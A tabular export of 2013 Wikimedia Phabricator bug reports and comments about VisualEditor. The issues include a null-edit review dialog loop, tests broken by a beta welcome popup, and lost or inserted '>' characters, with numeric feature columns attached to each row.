**Severity**: enhancement"
236510,Inserting and editing tables,"Indeed there should be such a feature, and one has been requested at bug 52181 so I'm marking this as a duplicate.

*** This bug has been marked as a duplicate of bug 52181 ***",,,1377528014,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-lfg46f7cy7mmetnq3hpg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,3.3255813953488373,0.6744186046511628,"Indeed there should be such a feature, and one has been requested at bug 52181 so I'm marking this as a duplicate.

*** This bug has been marked as a duplicate of bug 52181 ***"
236506,Inserting and editing tables,"[New feature => setting the ""Severity"" field to ""enhancement"". 
Feel free to do so yourself when filing a report.]",,,1377460978,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lfg46f7cy7mmetnq3hpg,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,14.0,0.0,3.0,0.0,3.0,3.0,3.0,7.0,0.0,0.0,7.0,3.310344827586207,0.8275862068965517,"[New feature => setting the ""Severity"" field to ""enhancement"". 
Feel free to do so yourself when filing a report.]"
55314,VisualEditor: inconsistency when reviewing changes after a null edit,"User report:
<<So I put a space and then a backspace.  Go to save, review changes to check and make sure it is a null edit, then it goes to this ""processing"" dialogue but then it shows ""Could not start the review because your revision matches the latest version of this page.""  So then I press the little back link on the dialogue, but it just goes back to the processing dialogue.  If the page is small, the processing is really quick, so before I can even press back again, it goes back to the ""Could not start"" warning message.  Even if I do manage to press the back a second time quickly, it will only stay at the save dialogue for a split second and then again bring me to the warning message, although ''then'' pressing back does take me to the save dialogue securely.  FF 23.0.1 Win7.>>

I managed to reproduce this on Chrome as well, so which is the intended left button behaviour?
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377426720,1377426954.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-inp4lb4bxjfhduddc4ri,task_description,resolved,True,c1,3,False,False,True,7,,0.0,0.0,0.0,0.0,0.6666666666666666,4.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,2.6666666666666665,1.0,9.666666666666666,7.666666666666667,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,4.333333333333333,0.6666666666666666,2.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,10.333333333333334,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.333333333333333,1.3333333333333333,7.0,2.3333333333333335,1.6666666666666667,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.3333333333333333,0.0,5.0,7.666666666666667,1.0,0.3333333333333333,2.0,0.0,5.0,0.0,0.3333333333333333,1.6666666666666667,1.0,0.6666666666666666,0.0,0.3333333333333333,1.0,3.615135135135135,0.6725525525525525,"User report:
<<So I put a space and then a backspace.  Go to save, review changes to check and make sure it is a null edit, then it goes to this ""processing"" dialogue but then it shows ""Could not start the review because your revision matches the latest version of this page.""  So then I press the little back link on the dialogue, but it just goes back to the processing dialogue.  If the page is small, the processing is really quick, so before I can even press back again, it goes back to the ""Could not start"" warning message.  Even if I do manage to press the back a second time quickly, it will only stay at the save dialogue for a split second and then again bring me to the warning message, although ''then'' pressing back does take me to the save dialogue securely.  FF 23.0.1 Win7.>>

I managed to reproduce this on Chrome as well, so which is the intended left button behaviour?
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
235897,VisualEditor: inconsistency when reviewing changes after a null edit,"

*** This bug has been marked as a duplicate of bug 53313 ***",,,1377426954,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-inp4lb4bxjfhduddc4ri,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 53313 ***"
55301,VE does not finish initialization on KOWP,"**Author:** `ryuch`

**Description:**
VE not can be enabled by options in preferences for beta testing.
When I click 'edit' on an article, the progress bar appear but does not finish initialization.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377353520,1380703487.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z2y2nxnb7rd7vpntvfza,task_description,resolved,True,c1,3,False,False,False,7,,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,12.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,6.0,5.0,0.0,3.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.6615384615384615,"**Author:** CODE

**Description:**
VE not can be enabled by options in preferences for beta testing.
When I click 'edit' on an article, the progress bar appear but does not finish initialization.

--------------------------
**Version**: unspecified
**Severity**: normal"
235178,VE does not finish initialization on KOWP,"This bug appears to be fixed as I can see VE edits happening in the recentchanges feed.

https://ko.wikipedia.org/wiki/special:recentchanges?days=30&tagfilter=visualeditor",,,1380703487,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-z2y2nxnb7rd7vpntvfza,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,15.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8,1.0,"This bug appears to be fixed as I can see VE edits happening in the recentchanges feed.

URL"
235172,VE does not finish initialization on KOWP,"**ryuch** wrote:

Sorry, a critical typo I sent. 
VE ""now"" can be enabled by options in preferences for beta testing.",,,1377353651,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z2y2nxnb7rd7vpntvfza,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,9.0,9.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.09375,0.84375,"**ryuch** wrote:

Sorry, a critical typo I sent. 
VE ""now"" can be enabled by options in preferences for beta testing."
55295,VisualEditor tests fail due to introductory beta disclaimer popup,"cucumber features/visual_editor_anon.feature:5 # Scenario: Basic edit fails 
because VisualEditor these days shows an introductory disclaimer:

  This is our new, easier way to edit. It's still in beta,
  which means you might find parts of the page you can't edit...
and so it fails with
  expected ""You are not currently logged in. 
which isn't visible until you dismiss the popup.

I think the same explains a
  timed out after 5 seconds, Element was not visible in 5 seconds
that I'm getting in the similar
cucumber features/visual_editor_logged_in.feature:5 # Scenario: Basic edit
after applying gerrit 80709.

The popup is in a div containing an iframe containing more divs until class=""ve-ui-mwBetaWelcomeDialog-content"", and then tests have to click outside it to dismiss it; and some day it will go away.

Instead it seems better to set the ve-beta-welcome-dialog cookie to 1 upon visiting the site, which will turn off this disclaimer dialog.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1377334920,1382983457.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_description,resolved,True,c1,3,False,False,False,7,,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,4.666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.6666666666666666,4.0,8.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,1.0,0.6666666666666666,5.333333333333333,1.6666666666666667,2.6666666666666665,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,14.0,0.3333333333333333,1.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,4.0,1.6666666666666667,5.333333333333333,0.6666666666666666,1.3333333333333333,6.666666666666667,0.0,0.0,0.0,0.6666666666666666,3.3333333333333335,0.0,1.3333333333333333,0.0,5.0,8.0,1.3333333333333333,0.0,0.6666666666666666,0.0,5.0,0.0,1.3333333333333333,1.3333333333333333,0.0,1.6666666666666667,1.0,0.0,0.0,4.0896118721461185,0.738140537798072,"cucumber features/visual_editor_anon.feature:5 # Scenario: Basic edit fails 
because VisualEditor these days shows an introductory disclaimer:

  This is our new, easier way to edit. It's still in beta,
  which means you might find parts of the page you can't edit...
and so it fails with
  expected ""You are not currently logged in. 
which isn't visible until you dismiss the popup.

I think the same explains a
  timed out after 5 seconds, Element was not visible in 5 seconds
that I'm getting in the similar
cucumber features/visual_editor_logged_in.feature:5 # Scenario: Basic edit
after applying gerrit 80709.

The popup is in a div containing an iframe containing more divs until class=""ve-ui-mwBetaWelcomeDialog-content"", and then tests have to click outside it to dismiss it; and some day it will go away.

Instead it seems better to set the ve-beta-welcome-dialog cookie to 1 upon visiting the site, which will turn off this disclaimer dialog.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
234872,VisualEditor tests fail due to introductory beta disclaimer popup,fixed,,,1382983457,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,fixed
234867,VisualEditor tests fail due to introductory beta disclaimer popup,"Chris, this is fixed, right? Is there anything left here to do? Should we close the bug?",,,1381411550,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,True,,,14,,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.8636363636363636,"Chris, this is fixed, right? Is there anything left here to do? Should we close the bug?"
234862,VisualEditor tests fail due to introductory beta disclaimer popup,"Honestly, I would rather that VE behave the same on beta, test2wiki, and production. Preferably at more or less the same time.",,,1377806202,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.888888888888889,0.8148148148148148,"Honestly, I would rather that VE behave the same on beta, test2wiki, and production. Preferably at more or less the same time."
234857,VisualEditor tests fail due to introductory beta disclaimer popup,"(In reply to comment #5)
> Should this be closed since 80709 is merged into master?
No, that's a different problem breaking VE tests.

Please can you change the VE tests to have an
    If there is an introductory welcome message
      then dismiss it
stanza?",,,1377805386,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,15.0,2.0,0.0,10.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,4.0,8.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,3.6875,0.875,"(In reply to comment #5)
QUOTE
No, that's a different problem breaking VE tests.

Please can you change the VE tests to have an
    If there is an introductory welcome message
      then dismiss it
stanza?"
234852,VisualEditor tests fail due to introductory beta disclaimer popup,Should this be closed since 80709 is merged into master?,,,1377780987,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,Should this be closed since 80709 is merged into master?
234846,VisualEditor tests fail due to introductory beta disclaimer popup,"(In reply to comment #3)
> Why is VE using an iframe for this?  (and using iframes in general?)
For the welcome message, we don't technically need to use an iframe. In that case we just use an iframe because all of our other dialogs use iframes.

In general, we use iframes for dialogs and inspectors because we need to be able to have two selections at the same time. For instance, when you inspect a link, the link is selected, but you also have a cursor in the text field in the inspector. Because you can only have one selection in any given HTML document, we need the edit surface and the text field to be in different documents, and so we put the text field (along with most of the rest of the inspector) in an iframe.

Dialogs use iframes for similar reasons: when the user interacts with UI elements in the dialog, that needs to not affect their selection in the edit surface. The welcome dialog doesn't have any elements that can steal the focus or selection so it's not an issue there, but since it uses the generic dialog code it's automatically in an iframe.",,,1377568185,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,1.0,0.0,0.0,0.3333333333333333,1.6666666666666667,3.3333333333333335,0.6666666666666666,1.0,0.0,0.0,4.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,5.0,12.0,0.0,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,6.333333333333333,0.3333333333333333,1.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,16.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,8.666666666666666,1.0,4.0,2.6666666666666665,2.3333333333333335,10.333333333333334,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,1.0,0.0,5.333333333333333,12.0,0.6666666666666666,0.0,0.0,0.0,5.333333333333333,0.0,1.6666666666666667,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.0,3.814814814814815,0.6666666666666666,"(In reply to comment #3)
QUOTE
For the welcome message, we don't technically need to use an iframe. In that case we just use an iframe because all of our other dialogs use iframes.

In general, we use iframes for dialogs and inspectors because we need to be able to have two selections at the same time. For instance, when you inspect a link, the link is selected, but you also have a cursor in the text field in the inspector. Because you can only have one selection in any given HTML document, we need the edit surface and the text field to be in different documents, and so we put the text field (along with most of the rest of the inspector) in an iframe.

Dialogs use iframes for similar reasons: when the user interacts with UI elements in the dialog, that needs to not affect their selection in the edit surface. The welcome dialog doesn't have any elements that can steal the focus or selection so it's not an issue there, but since it uses the generic dialog code it's automatically in an iframe."
234838,VisualEditor tests fail due to introductory beta disclaimer popup,"When it shows up on test2 and/or beta I'll dismiss it in the test. 

Why is VE using an iframe for this?  (and using iframes in general?)",,,1377554145,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,6.0,6.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,14.0,3.0,6.0,0.0,0.0,9.0,0.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,3.1714285714285713,0.8857142857142857,"When it shows up on test2 and/or beta I'll dismiss it in the test. 

Why is VE using an iframe for this?  (and using iframes in general?)"
234831,VisualEditor tests fail due to introductory beta disclaimer popup,Also note that the beta welcome message will be rolled out to all wikis soon.,,,1377553601,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,True,,,8,,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,1.0,Also note that the beta welcome message will be rolled out to all wikis soon.
234825,VisualEditor tests fail due to introductory beta disclaimer popup,"
I've been running these tests against test2wiki, which doesn't have that problem.  https://gerrit.wikimedia.org/r/#/c/80709/ should make it possible to run these against beta labs now that VE seems to be deployed there reliably",,,1377553370,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-5gtyq6ebthpfjdmqjbyu,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,11.0,13.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.184210526315789,0.8947368421052632,"
I've been running these tests against test2wiki, which doesn't have that problem.  URL should make it possible to run these against beta labs now that VE seems to be deployed there reliably"
55280,"VisualEditor: add a wikilink to tags, the final inequality sign (>) is lost","User report following:
<<If I start with a blank page, type in ""<br>"", select the entire text, press the link icon, select say ""France"" as the link, upon exiting the link dialog I am left with a link to [[France]] but the anchor is shortened to ""<b"".</nowiki>  I don't get any ""Wikitext markup detected"" warning. >>
This is true for other tags as well (I tried with <b>).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377286560,1397676516.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-6fqslp7awofcsqlxxg2u,task_description,declined,True,c1,3,False,False,False,7,,1.0,0.0,0.0,1.5,1.0,5.0,1.0,0.0,0.0,0.5,2.0,1.0,0.0,0.0,0.0,2.5,0.0,2.5,6.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,9.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,1.0,0.5,5.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,6.0,2.0,0.0,4.5,0.0,2.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,8.0,3.1500000000000004,0.6583333333333333,"User report following:
<<If I start with a blank page, type in ""<br>"", select the entire text, press the link icon, select say ""France"" as the link, upon exiting the link dialog I am left with a link to [[France]] but the anchor is shortened to ""<b"".</nowiki>  I don't get any ""Wikitext markup detected"" warning. >>
This is true for other tags as well (I tried with <b>).

--------------------------
**Version**: unspecified
**Severity**: normal"
233982,"VisualEditor: add a wikilink to tags, the final inequality sign (>) is lost",This was fixed ages ago; sorry for not mentioning it here. (Please re-open if you can reproduce.),,,1397676516,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6fqslp7awofcsqlxxg2u,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.375,0.9583333333333334,This was fixed ages ago; sorry for not mentioning it here. (Please re-open if you can reproduce.)
233976,"VisualEditor: add a wikilink to tags, the final inequality sign (>) is lost","(Sorry, that </nowiki> shouldn't be there, of course.)",,,1377286725,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-6fqslp7awofcsqlxxg2u,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.9375,0.9375,"(Sorry, that </nowiki> shouldn't be there, of course.)"
55262,VisualEditor is inserting greater than signs (>),"While I was fixing a simple grammatical error, VE threw in a > sign at the start of a template further down the page thus breaking the template.

https://en.wikipedia.org/w/index.php?title=Tesla_Model_S&diff=next&oldid=569876875

--------------------------
**Version**: unspecified
